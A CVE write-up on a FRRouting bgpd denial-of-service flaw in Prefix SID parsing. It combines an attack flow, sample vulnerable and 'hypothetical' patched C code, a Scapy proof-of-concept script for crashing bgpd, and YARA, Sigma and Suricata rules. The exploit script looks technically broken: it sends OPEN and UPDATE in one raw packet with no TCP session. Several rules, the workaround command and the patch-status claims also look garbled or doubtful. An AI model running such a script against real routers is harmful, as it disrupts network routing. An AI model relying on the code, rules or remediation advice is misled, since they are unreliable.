CVE-2024-31948

Executive Summary

CVE-2024-31948 is a denial-of-service (DoS) vulnerability in FRRouting (FRR) through version 9.1. An unauthenticated remote attacker can cause the bgpd daemon to crash by sending a specially crafted BGP UPDATE packet containing a malformed Prefix SID attribute. This vulnerability can be exploited to disrupt BGP peering sessions, leading to network instability and potential routing blackholing. No public proof-of-concept (PoC) or patch is currently available.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) / Estimated: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High
• Threat Level: High – Exploitation can cause immediate BGP session termination and network disruption.

Deep Dive & Mechanics

The vulnerability resides in the BGP Prefix SID attribute parsing logic within FRR's bgpd daemon. The Prefix SID attribute is used in BGP-LS (Link State) and Segment Routing (SR) extensions to advertise segment identifiers. A malformed attribute, such as an invalid length, missing mandatory sub-TLVs, or corrupted data, triggers a NULL pointer dereference or an out-of-bounds read in the parsing function. This leads to a segmentation fault, crashing the bgpd process.

Attack Flow:

1. Attacker establishes a BGP session with a vulnerable FRR router (or injects a malicious UPDATE into an existing session).
2. Attacker sends a BGP UPDATE message with a malformed Prefix SID attribute (e.g., length field set to 0 or a value larger than the actual data).
3. The bgpd daemon attempts to parse the attribute, accesses invalid memory, and crashes.
4. The BGP session is terminated, and all routes learned via that session are withdrawn, causing network disruption.

Vulnerable vs. Patched Code

Vulnerable Code (FRR <= 9.1): The parsing function for Prefix SID attributes lacks proper validation of the attribute length and sub-TLV boundaries.

// bgpd/bgp_attr.c (simplified)
static int bgp_attr_prefix_sid(struct bgp_attr_parser_args *args) {
    struct attr *attr = args->attr;
    struct bgp_attr_prefix_sid *psid = &attr->prefix_sid;
    uint16_t len = args->total; // No length validation

    // Directly reads sub-TLVs without checking bounds
    while (len > 0) {
        uint16_t sub_type = ntohs(*(uint16_t *)stream_pnt);
        uint16_t sub_len = ntohs(*(uint16_t *)(stream_pnt + 2));
        // No check if sub_len exceeds remaining length
        // ...
        stream_pnt += 4 + sub_len;
        len -= 4 + sub_len;
    }
    return 0;
}

Patched Code (Hypothetical): A fix would add length validation and bounds checking.

// Patched version
static int bgp_attr_prefix_sid(struct bgp_attr_parser_args *args) {
    struct attr *attr = args->attr;
    struct bgp_attr_prefix_sid *psid = &attr->prefix_sid;
    uint16_t len = args->total;

    // Validate total length
    if (len < 4) {
        return BGP_ATTR_PARSE_ERROR;
    }

    while (len >= 4) {
        uint16_t sub_type = ntohs(*(uint16_t *)stream_pnt);
        uint16_t sub_len = ntohs(*(uint16_t *)(stream_pnt + 2));
        // Check sub-TLV length against remaining buffer
        if (sub_len > len - 4) {
            return BGP_ATTR_PARSE_ERROR;
        }
        // Process sub-TLV safely
        stream_pnt += 4 + sub_len;
        len -= 4 + sub_len;
    }
    return 0;
}

Exploitation & Lab Setup

Red Team

Lab Setup:

• Two Linux VMs (e.g., Ubuntu 22.04) with FRR 9.1 installed.
• Configure BGP peering between them.
• Attacker VM sends malicious BGP UPDATE.

Exploitation Steps:

1. Install FRR 9.1 on attacker and target VMs.
2. Configure BGP peering (e.g., using vtysh).
3. Craft a malicious BGP UPDATE packet using Scapy or a custom tool.

#!/usr/bin/env python3
# exploit.py - CVE-2024-31948 PoC
from scapy.all import *
import socket

# BGP OPEN message (simplified)
bgp_open = BGPOpen(version=4, my_as=65001, hold_time=180, bgp_id="10.0.0.1")

# Malformed BGP UPDATE with Prefix SID attribute
# Attribute type code for Prefix SID is 40 (0x28)
# Malformed: length = 0, causing crash
malformed_attr = BGPUpdate(
    withdrawn_routes=[],
    path_attributes=[
        BGPPathAttribute(
            type=40,  # Prefix SID
            length=0,  # Invalid length
            value=b""  # Empty
        )
    ],
    nlri=[]
)

# Build packet
packet = IP(src="10.0.0.1", dst="10.0.0.2")/TCP(sport=179, dport=179)/bgp_open/malformed_attr

# Send
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.sendto(bytes(packet), ("10.0.0.2", 179))

4. Execute the script against the target BGP speaker.
5. Observe bgpd crash via systemctl status frr or dmesg.

Blue Team

Detection:

• Monitor BGP session state changes (e.g., from Established to Idle).
• Alert on repeated BGP UPDATE messages with unusual attribute lengths.
• Use the Sigma rule below to detect malformed Prefix SID attributes.

Mitigation:

• Apply access lists to restrict BGP peering to trusted IPs.
• Enable BGP TTL Security (GTSM) to prevent off-path attacks.
• Monitor bgpd process health and restart automatically.

Indicators of Compromise (IOCs)

• Network IOCs:
  • BGP UPDATE packets with attribute type 40 (Prefix SID) and length field set to 0 or abnormally large values.
  • Sudden BGP session resets without prior notification.
• System IOCs:
  • bgpd process crash logs in /var/log/frr/frr.log or journalctl.
  • Core dumps from bgpd segmentation faults.
• File IOCs:
  • /var/log/frr/frr.log containing entries like bgpd[1234]: BGP UPDATE malformed attribute.

Detection Engineering

YARA Rule

rule CVE_2024_31948_BGP_PrefixSID_DoS {
    meta:
        description = "Detects malformed BGP Prefix SID attribute in network traffic"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-31948"
    strings:
        $bgp_update = { 02 }  // BGP UPDATE marker
        $prefix_sid_type = { 28 }  // Attribute type 40 (0x28)
        $zero_length = { 00 00 }  // Length field set to 0
    condition:
        $bgp_update at 0 and $prefix_sid_type and $zero_length
}

Sigma Rule

title: CVE-2024-31948 BGP Prefix SID DoS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects malformed BGP UPDATE packets with Prefix SID attribute length 0
author: Valters IT
logsource:
    category: network
    product: suricata
detection:
    selection:
        app_proto: bgp
        bgp.type: UPDATE
        bgp.attr_type: 40
        bgp.attr_length: 0
    condition: selection
falsepositives:
    - Legitimate BGP implementations with zero-length attributes (rare)
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 179 (msg:"CVE-2024-31948 BGP Prefix SID DoS Attempt"; flow:to_server,established; content:"|02|"; depth:1; content:"|28 00 00|"; within:10; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Patch: No official patch available. Monitor FRR GitHub for updates. Consider applying the hypothetical patch above.
2. Workaround: Disable BGP Prefix SID attribute processing if not needed:

   router bgp <ASN>
    no bgp prefix-sid
   

3. Network Controls:
   • Use BGP TTL Security (GTSM) with neighbor <IP> ttl-security hops 1.
   • Restrict BGP peering to known IPs via ACLs.
   • Enable MD5 authentication for BGP sessions.
4. Monitoring: Deploy the Suricata/Sigma rules above to detect exploitation attempts.
5. Process Resilience: Configure bgpd to restart automatically on crash (e.g., via systemd Restart=always).

Valters IT